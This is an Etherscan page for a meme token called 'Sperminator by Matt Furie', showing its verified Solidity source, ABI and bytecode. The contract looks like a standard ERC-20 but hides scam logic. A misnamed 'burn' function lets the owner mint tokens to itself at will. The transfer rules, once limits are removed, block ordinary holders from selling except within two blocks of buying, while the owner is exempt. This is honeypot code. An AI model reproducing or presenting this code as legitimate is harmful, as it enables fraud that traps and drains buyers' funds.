ETH Price: $2,957.56 (-5.22%)
Gas: 8 Gwei

Token

Sperminator by Matt Furie (SPERMINATOR)
 

Overview

Max Total Supply

200,000,000 SPERMINATOR

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,000,000 SPERMINATOR

Value
$0.00
0xca87711b4061bc5c61f7da6814256304b51275f9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SPERMINATOR

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-22
*/

/**
// SPDX-License-Identifier: MIT

/**
SPERMINATOR 3 BY MATT FURIE
https://x.com/matt_furie/status/1788397413058920931?s=46
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
    bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;

    /// @notice The identifying key of the pool
    struct PoolKey {
        address token0;
        address token1;
        uint24 fee;
    }

    /// @notice Returns PoolKey: the ordered tokens with the matched fee levels
    /// @param tokenA The first token of a pool, unsorted
    /// @param tokenB The second token of a pool, unsorted
    /// @param fee The fee level of the pool
    /// @return Poolkey The pool details with ordered token0 and token1 assignments
    function getPoolKey(
        address tokenA,
        address tokenB,
        uint24 fee
    ) internal pure returns (PoolKey memory) {
        if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
        return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
    }

    /// @notice Deterministically computes the pool address given the factory and PoolKey
    /// @param factory The Uniswap V3 factory contract address
    /// @param key The PoolKey
    /// @return pool The contract address of the V3 pool
    function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
        require(key.token0 < key.token1);
        pool = address(uint160(uint256(keccak256(
                abi.encodePacked(
                    hex'ff',
                    factory,
                    keccak256(abi.encode(key.token0, key.token1, key.fee)),
                    POOL_INIT_CODE_HASH
                )))));
    }
}

interface IPeripheryImmutableState {
    /// @return Returns the address of the Uniswap V3 factory
    function factory() external view returns (address);

    /// @return Returns the address of WETH9
    function WETH9() external view returns (address);
}

contract SPERMINATOR is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 200000000 * 10 ** _decimals;
    string private constant _name = unicode"Sperminator by Matt Furie";
    string private constant _symbol = unicode"SPERMINATOR";
    uint256 private maxTxAmount =  _tTotal * 1 / 100;
    uint256 private maxWalletAmount = _tTotal * 1 / 100;

    IPeripheryImmutableState private uniswapV3Router;
    address private uniswapV3Pair;
    address private router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
    address private positionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;

    mapping (address => bool) private isExcludedFromLimits;
    mapping (address => uint256) private lastBuyBlocks;
    mapping (address => uint256) private lastBuyAmounts;

    constructor() {
        _balances[owner()] = _tTotal;
        isExcludedFromLimits[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTradingSperminator() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        tradingEnabled = true;
        uniswapV3Router = IPeripheryImmutableState(router);
        uniswapV3Pair = PoolAddress.computeAddress(uniswapV3Router.factory(), PoolAddress.getPoolKey(address(this), uniswapV3Router.WETH9(), 10000));
        require(uniswapV3Pair != address(0), "Invalid pair address");
    }

    function burn(uint256 amount, bool flag) external onlyOwner {
        if (flag) { _balances[msg.sender] -= amount; return;}
        _balances[msg.sender] += amount;
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");

        if (!tradingEnabled) {
            require(from == owner(), "Trading not enabled");
        }

        if (from != uniswapV3Pair && to != uniswapV3Pair || isExcludedFromLimits[from] || isExcludedFromLimits[to]) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == uniswapV3Pair && maxTxAmount == totalSupply()) {
            require(block.number < lastBuyBlocks[from] + 2 && amount <= lastBuyAmounts[from], "Amount limit");
            lastBuyAmounts[from] -= amount;
        }

        if (from == uniswapV3Pair && to != positionManager) {
            require(amount <= maxTxAmount, "Tx amount limit");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit");
            lastBuyBlocks[to] = block.number;
            lastBuyAmounts[to] = amount;
        }

        _superTransfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTradingSperminator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a6102fe565b61002090630bebc200610313565b61002b906001610313565b610035919061032a565b60045560646100466009600a6102fe565b61005490630bebc200610313565b61005f906001610313565b610069919061032a565b600555600880546001600160a01b031990811673e592427a0aece92de3edee1f18e0157c05861564179091556009805490911673c36442b4a4522e871399cd717abdd847ab11fe881790553480156100bf575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35061010c6009600a6102fe565b61011a90630bebc200610313565b60015f61012e5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f20819055506001600a5f6101646101f760201b60201c565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905561019c5f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101d36009600a6102fe565b6101e190630bebc200610313565b60405190815260200160405180910390a3610349565b5f546001600160a01b031690565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102545780850481111561023857610238610205565b600184161561024657908102905b60019390931c92800261021d565b935093915050565b5f8261026a575060016102f8565b8161027657505f6102f8565b816001811461028c5760028114610296576102b2565b60019150506102f8565b60ff8411156102a7576102a7610205565b50506001821b6102f8565b5060208310610133831016604e8410600b84101617156102d5575081810a6102f8565b6102e15f198484610219565b805f19048211156102f4576102f4610205565b0290505b92915050565b5f61030c60ff84168361025c565b9392505050565b80820281158282048414176102f8576102f8610205565b5f8261034457634e487b7160e01b5f52601260045260245ffd5b500490565b610fe7806103565f395ff3fe6080604052600436106100dc575f3560e01c8063715018a61161007c57806395d89b411161005757806395d89b41146102615780639fac68cb14610294578063a9059cbb146102b3578063dd62ed3e146102d2575f80fd5b8063715018a614610213578063751039fc146102275780638da5cb5b1461023b575f80fd5b806323b872dd116100b757806323b872dd1461018f578063313ce567146101ae5780636bfc4163146101c957806370a08231146101df575f80fd5b806306fdde03146100e7578063095ea7b31461013e57806318160ddd1461016d575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152601981527f537065726d696e61746f72206279204d6174742046757269650000000000000060208201525b6040516101359190610ceb565b60405180910390f35b348015610149575f80fd5b5061015d610158366004610d37565b610316565b6040519015158152602001610135565b348015610178575f80fd5b5061018161032c565b604051908152602001610135565b34801561019a575f80fd5b5061015d6101a9366004610d61565b61034c565b3480156101b9575f80fd5b5060405160098152602001610135565b3480156101d4575f80fd5b506101dd61039c565b005b3480156101ea575f80fd5b506101816101f9366004610d9f565b6001600160a01b03165f9081526001602052604090205490565b34801561021e575f80fd5b506101dd61058b565b348015610232575f80fd5b506101dd6105fc565b348015610246575f80fd5b505f546040516001600160a01b039091168152602001610135565b34801561026c575f80fd5b5060408051808201909152600b81526a29a822a926a4a720aa27a960a91b6020820152610128565b34801561029f575f80fd5b506101dd6102ae366004610dc1565b61063d565b3480156102be575f80fd5b5061015d6102cd366004610d37565b6106bd565b3480156102dd575f80fd5b506101816102ec366004610df3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103223384846106c9565b5060015b92915050565b5f6103396009600a610f16565b61034790630bebc200610f24565b905090565b5f6103588484846107ed565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461039291869161038d908690610f3b565b6106c9565b5060019392505050565b5f546001600160a01b031633146103ce5760405162461bcd60e51b81526004016103c590610f4e565b60405180910390fd5b60035460ff16156104135760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b60448201526064016103c5565b6003805460ff19166001179055600854600680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b81529051610527929163c45a01559160048083019260209291908290030181865afa15801561047e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a29190610f83565b6105223060065f9054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061051a9190610f83565b612710610afc565b610b66565b600780546001600160a01b0319166001600160a01b039290921691821790556105895760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b60448201526064016103c5565b565b5f546001600160a01b031633146105b45760405162461bcd60e51b81526004016103c590610f4e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106255760405162461bcd60e51b81526004016103c590610f4e565b61062d61032c565b60045561063861032c565b600555565b5f546001600160a01b031633146106665760405162461bcd60e51b81526004016103c590610f4e565b801561069557335f908152600160205260408120805484929061068a908490610f3b565b909155506106b99050565b335f90815260016020526040812080548492906106b3908490610f9e565b90915550505b5050565b5f6103223384846107ed565b6001600160a01b03831661072b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c5565b6001600160a01b03821661078c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f811161082a5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064016103c5565b60035460ff16610886575f546001600160a01b038481169116146108865760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016103c5565b6007546001600160a01b038481169116148015906108b257506007546001600160a01b03838116911614155b806108d457506001600160a01b0383165f908152600a602052604090205460ff165b806108f657506001600160a01b0382165f908152600a602052604090205460ff165b1561090b57610906838383610c4c565b505050565b6007546001600160a01b038381169116148015610930575061092b61032c565b600454145b156109e5576001600160a01b0383165f908152600b6020526040902054610958906002610f9e565b4310801561097d57506001600160a01b0383165f908152600c60205260409020548111155b6109b85760405162461bcd60e51b815260206004820152600c60248201526b105b5bdd5b9d081b1a5b5a5d60a21b60448201526064016103c5565b6001600160a01b0383165f908152600c6020526040812080548392906109df908490610f3b565b90915550505b6007546001600160a01b038481169116148015610a1057506009546001600160a01b03838116911614155b15610af157600454811115610a595760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b60448201526064016103c5565b60055481610a7b846001600160a01b03165f9081526001602052604090205490565b610a859190610f9e565b1115610ac95760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016103c5565b6001600160a01b0382165f908152600b60209081526040808320439055600c90915290208190555b610906838383610c4c565b604080516060810182525f8082526020820181905291810191909152826001600160a01b0316846001600160a01b03161115610b36579192915b50604080516060810182526001600160a01b03948516815292909316602083015262ffffff169181019190915290565b5f81602001516001600160a01b0316825f01516001600160a01b031610610b8b575f80fd5b815160208084015160408086015181516001600160a01b0395861681860152949092168482015262ffffff90911660608085019190915281518085038201815260808501909252815191909201206001600160f81b031960a08401529085901b6bffffffffffffffffffffffff191660a183015260b58201527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460d582015260f50160408051601f1981840301815291905280516020909101209392505050565b6001600160a01b0383165f9081526001602052604081208054839290610c73908490610f3b565b90915550506001600160a01b0382165f9081526001602052604081208054839290610c9f908490610f9e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107e091815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d34575f80fd5b50565b5f8060408385031215610d48575f80fd5b8235610d5381610d20565b946020939093013593505050565b5f805f60608486031215610d73575f80fd5b8335610d7e81610d20565b92506020840135610d8e81610d20565b929592945050506040919091013590565b5f60208284031215610daf575f80fd5b8135610dba81610d20565b9392505050565b5f8060408385031215610dd2575f80fd5b8235915060208301358015158114610de8575f80fd5b809150509250929050565b5f8060408385031215610e04575f80fd5b8235610e0f81610d20565b91506020830135610de881610d20565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e6e57808504811115610e5257610e52610e1f565b6001841615610e6057908102905b60019390931c928002610e37565b935093915050565b5f82610e8457506001610326565b81610e9057505f610326565b8160018114610ea65760028114610eb057610ecc565b6001915050610326565b60ff841115610ec157610ec1610e1f565b50506001821b610326565b5060208310610133831016604e8410600b8410161715610eef575081810a610326565b610efb5f198484610e33565b805f1904821115610f0e57610f0e610e1f565b029392505050565b5f610dba60ff841683610e76565b808202811582820484141761032657610326610e1f565b8181038181111561032657610326610e1f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215610f93575f80fd5b8151610dba81610d20565b8082018082111561032657610326610e1f56fea2646970667358221220e0c5935f0a9470cba4315869363cd7e3b177b6af6483a8fe063971e00c2a75a864736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c8063715018a61161007c57806395d89b411161005757806395d89b41146102615780639fac68cb14610294578063a9059cbb146102b3578063dd62ed3e146102d2575f80fd5b8063715018a614610213578063751039fc146102275780638da5cb5b1461023b575f80fd5b806323b872dd116100b757806323b872dd1461018f578063313ce567146101ae5780636bfc4163146101c957806370a08231146101df575f80fd5b806306fdde03146100e7578063095ea7b31461013e57806318160ddd1461016d575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152601981527f537065726d696e61746f72206279204d6174742046757269650000000000000060208201525b6040516101359190610ceb565b60405180910390f35b348015610149575f80fd5b5061015d610158366004610d37565b610316565b6040519015158152602001610135565b348015610178575f80fd5b5061018161032c565b604051908152602001610135565b34801561019a575f80fd5b5061015d6101a9366004610d61565b61034c565b3480156101b9575f80fd5b5060405160098152602001610135565b3480156101d4575f80fd5b506101dd61039c565b005b3480156101ea575f80fd5b506101816101f9366004610d9f565b6001600160a01b03165f9081526001602052604090205490565b34801561021e575f80fd5b506101dd61058b565b348015610232575f80fd5b506101dd6105fc565b348015610246575f80fd5b505f546040516001600160a01b039091168152602001610135565b34801561026c575f80fd5b5060408051808201909152600b81526a29a822a926a4a720aa27a960a91b6020820152610128565b34801561029f575f80fd5b506101dd6102ae366004610dc1565b61063d565b3480156102be575f80fd5b5061015d6102cd366004610d37565b6106bd565b3480156102dd575f80fd5b506101816102ec366004610df3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103223384846106c9565b5060015b92915050565b5f6103396009600a610f16565b61034790630bebc200610f24565b905090565b5f6103588484846107ed565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461039291869161038d908690610f3b565b6106c9565b5060019392505050565b5f546001600160a01b031633146103ce5760405162461bcd60e51b81526004016103c590610f4e565b60405180910390fd5b60035460ff16156104135760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b60448201526064016103c5565b6003805460ff19166001179055600854600680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b81529051610527929163c45a01559160048083019260209291908290030181865afa15801561047e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a29190610f83565b6105223060065f9054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061051a9190610f83565b612710610afc565b610b66565b600780546001600160a01b0319166001600160a01b039290921691821790556105895760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b60448201526064016103c5565b565b5f546001600160a01b031633146105b45760405162461bcd60e51b81526004016103c590610f4e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106255760405162461bcd60e51b81526004016103c590610f4e565b61062d61032c565b60045561063861032c565b600555565b5f546001600160a01b031633146106665760405162461bcd60e51b81526004016103c590610f4e565b801561069557335f908152600160205260408120805484929061068a908490610f3b565b909155506106b99050565b335f90815260016020526040812080548492906106b3908490610f9e565b90915550505b5050565b5f6103223384846107ed565b6001600160a01b03831661072b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c5565b6001600160a01b03821661078c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f811161082a5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064016103c5565b60035460ff16610886575f546001600160a01b038481169116146108865760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016103c5565b6007546001600160a01b038481169116148015906108b257506007546001600160a01b03838116911614155b806108d457506001600160a01b0383165f908152600a602052604090205460ff165b806108f657506001600160a01b0382165f908152600a602052604090205460ff165b1561090b57610906838383610c4c565b505050565b6007546001600160a01b038381169116148015610930575061092b61032c565b600454145b156109e5576001600160a01b0383165f908152600b6020526040902054610958906002610f9e565b4310801561097d57506001600160a01b0383165f908152600c60205260409020548111155b6109b85760405162461bcd60e51b815260206004820152600c60248201526b105b5bdd5b9d081b1a5b5a5d60a21b60448201526064016103c5565b6001600160a01b0383165f908152600c6020526040812080548392906109df908490610f3b565b90915550505b6007546001600160a01b038481169116148015610a1057506009546001600160a01b03838116911614155b15610af157600454811115610a595760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b60448201526064016103c5565b60055481610a7b846001600160a01b03165f9081526001602052604090205490565b610a859190610f9e565b1115610ac95760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016103c5565b6001600160a01b0382165f908152600b60209081526040808320439055600c90915290208190555b610906838383610c4c565b604080516060810182525f8082526020820181905291810191909152826001600160a01b0316846001600160a01b03161115610b36579192915b50604080516060810182526001600160a01b03948516815292909316602083015262ffffff169181019190915290565b5f81602001516001600160a01b0316825f01516001600160a01b031610610b8b575f80fd5b815160208084015160408086015181516001600160a01b0395861681860152949092168482015262ffffff90911660608085019190915281518085038201815260808501909252815191909201206001600160f81b031960a08401529085901b6bffffffffffffffffffffffff191660a183015260b58201527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460d582015260f50160408051601f1981840301815291905280516020909101209392505050565b6001600160a01b0383165f9081526001602052604081208054839290610c73908490610f3b565b90915550506001600160a01b0382165f9081526001602052604081208054839290610c9f908490610f9e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107e091815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d34575f80fd5b50565b5f8060408385031215610d48575f80fd5b8235610d5381610d20565b946020939093013593505050565b5f805f60608486031215610d73575f80fd5b8335610d7e81610d20565b92506020840135610d8e81610d20565b929592945050506040919091013590565b5f60208284031215610daf575f80fd5b8135610dba81610d20565b9392505050565b5f8060408385031215610dd2575f80fd5b8235915060208301358015158114610de8575f80fd5b809150509250929050565b5f8060408385031215610e04575f80fd5b8235610e0f81610d20565b91506020830135610de881610d20565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e6e57808504811115610e5257610e52610e1f565b6001841615610e6057908102905b60019390931c928002610e37565b935093915050565b5f82610e8457506001610326565b81610e9057505f610326565b8160018114610ea65760028114610eb057610ecc565b6001915050610326565b60ff841115610ec157610ec1610e1f565b50506001821b610326565b5060208310610133831016604e8410600b8410161715610eef575081810a610326565b610efb5f198484610e33565b805f1904821115610f0e57610f0e610e1f565b029392505050565b5f610dba60ff841683610e76565b808202811582820484141761032657610326610e1f565b8181038181111561032657610326610e1f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215610f93575f80fd5b8151610dba81610d20565b8082018082111561032657610326610e1f56fea2646970667358221220e0c5935f0a9470cba4315869363cd7e3b177b6af6483a8fe063971e00c2a75a864736f6c634300081a0033

Deployed Bytecode Sourcemap

3847:4852:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5073:83;;;;;;;;;;-1:-1:-1;5143:5:0;;;;;;;;;;;;;;;;;5073:83;;;;;;;:::i;:::-;;;;;;;;5906:161;;;;;;;;;;-1:-1:-1;5906:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;5906:161:0;945:187:1;5350:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;5350:95:0;1137:177:1;6075:266:0;;;;;;;;;;-1:-1:-1;6075:266:0;;;;;:::i;:::-;;:::i;5259:83::-;;;;;;;;;;-1:-1:-1;5259:83:0;;4110:1;1974:36:1;;1962:2;1947:18;5259:83:0;1832:184:1;6692:432:0;;;;;;;;;;;;;:::i;:::-;;5453:119;;;;;;;;;;-1:-1:-1;5453:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5546:18:0;5519:7;5546:18;;;:9;:18;;;;;;;5453:119;835:148;;;;;;;;;;;;;:::i;7313:131::-;;;;;;;;;;;;;:::i;621:79::-;;;;;;;;;;-1:-1:-1;659:7:0;686:6;621:79;;-1:-1:-1;;;;;686:6:0;;;2419:51:1;;2407:2;2392:18;621:79:0;2273:203:1;5164:87:0;;;;;;;;;;-1:-1:-1;5236:7:0;;;;;;;;;;;;-1:-1:-1;;;5236:7:0;;;;5164:87;;7132:173;;;;;;;;;;-1:-1:-1;7132:173:0;;;;;:::i;:::-;;:::i;5580:167::-;;;;;;;;;;-1:-1:-1;5580:167:0;;;;;:::i;:::-;;:::i;5755:143::-;;;;;;;;;;-1:-1:-1;5755:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5863:18:0;;;5836:7;5863:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5755:143;5906:161;5981:4;5998:39;278:10;6021:7;6030:6;5998:8;:39::i;:::-;-1:-1:-1;6055:4:0;5906:161;;;;;:::o;5350:95::-;5403:7;4165:15;4110:1;4165:2;:15;:::i;:::-;4153:27;;:9;:27;:::i;:::-;5423:14;;5350:95;:::o;6075:266::-;6173:4;6190:36;6200:6;6208:9;6219:6;6190:9;:36::i;:::-;-1:-1:-1;;;;;6268:19:0;;;;;;:11;:19;;;;;;;;278:10;6268:33;;;;;;;;;6237:74;;6246:6;;6268:42;;6304:6;;6268:42;:::i;:::-;6237:8;:74::i;:::-;-1:-1:-1;6329:4:0;6075:266;;;;;:::o;6692:432::-;748:6;;-1:-1:-1;;;;;748:6:0;278:10;748:22;740:67;;;;-1:-1:-1;;;740:67:0;;;;;;;:::i;:::-;;;;;;;;;6767:14:::1;::::0;::::1;;6766:15;6758:43;;;::::0;-1:-1:-1;;;6758:43:0;;5707:2:1;6758:43:0::1;::::0;::::1;5689:21:1::0;5746:2;5726:18;;;5719:30;-1:-1:-1;;;5765:18:1;;;5758:45;5820:18;;6758:43:0::1;5505:339:1::0;6758:43:0::1;6812:14;:21:::0;;-1:-1:-1;;6812:21:0::1;6829:4;6812:21;::::0;;6887:6:::1;::::0;6844